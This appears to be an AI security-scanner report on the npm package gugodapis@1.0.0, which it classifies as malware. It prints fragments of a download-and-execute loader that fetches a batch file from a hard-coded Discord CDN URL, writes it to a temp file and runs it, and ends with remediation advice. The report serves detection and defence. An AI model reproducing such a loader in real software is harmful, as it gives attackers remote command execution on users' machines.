gugodapis@1.0.0
AI Security Review
scanned 13h ago · by lpm-firewall-aiThe package’s only exported function fetches an undisclosed batch payload from a hard-coded external URL and executes it. Invocation is explicit, but running concealed remote code is a concrete malicious remote-code-execution capability.
Static reason
One or more suspicious static signals were detected.
Trigger
A caller invokes executeRemoteBatchScript; importing the module alone does not invoke it.
Impact
The downloaded script can run arbitrary commands with the caller's privileges.
Mechanism
It fetches the default URL, saves the response as anmern.bat in the temporary directory, then executes that file.
Attack narrative
When a caller invokes the exported function, it downloads an undisclosed batch file from a hard-coded Discord CDN URL, writes it to a temporary path, and executes it. The file’s contents are not bundled or verified, so the remote payload can run arbitrary commands with the caller’s privileges.
AI rationale
The package’s only exported function fetches an undisclosed batch payload from a hard-coded external URL and executes it. Invocation is explicit, but running concealed remote code is a concrete malicious remote-code-execution capability.
Evidence
gugodapis.jsprocess.env.TEMP/anmern.bat/tmp/anmern.bat
Network endpoints1
cdn.discordapp.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The function defaults to downloading a batch file from cdn.discordapp.com.
- It writes the downloaded response to a temporary file and executes that file as a child process.
- The function is exported as executeRemoteBatchScript for callers to invoke.
Evidence against
- The package has no install lifecycle scripts.
- The exported function is not invoked automatically when the module is imported.
Behavioral surface
ChildProcessEnvironmentVarsFilesystemNetworkShell
HighEntropyStringsUrlStrings
Source & flagged code
5 flaggedgugodapis.jsView file
4const path = require('path');
L5: const { exec } = require('child_process');
L6:
High
1// myapi.js
L2: const axios = require('axios');
L3: const fs = require('fs');
L4: const path = require('path');
L5: const { exec } = require('child_process');
L6:
...
L9: function executeRemoteBatchScript(url = DEFAULT_URL, callback) {
L10: const tempDir = path.join(process.env.TEMP || '/tmp', 'anmern.bat');
L11:
High
Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
gugodapis.jsView on unpkg · L17const DEFAULT_URL = 'https://cdn.discordapp.[redacted].bat?ex=663e2613&is=663cd493&hm=[redacted]
High
Ai Review Evidence
The function defaults to downloading a batch file from cdn.discordapp.com.
gugodapis.jsView on unpkg · L7Findings
6 High2 Medium4 Low
HighChild Processgugodapis.js
HighShell
HighSame File Env Network Executiongugodapis.js
HighNode Builtin Dependency Squatpackage.json
HighAi Review Evidencegugodapis.js
HighAi Review Evidencegugodapis.js
MediumNetwork
MediumEnvironment Vars
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to gugodapis@1.0.0.
See all versions of gugodapis for other recorded verdicts.
- Avoid installing gugodapis@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.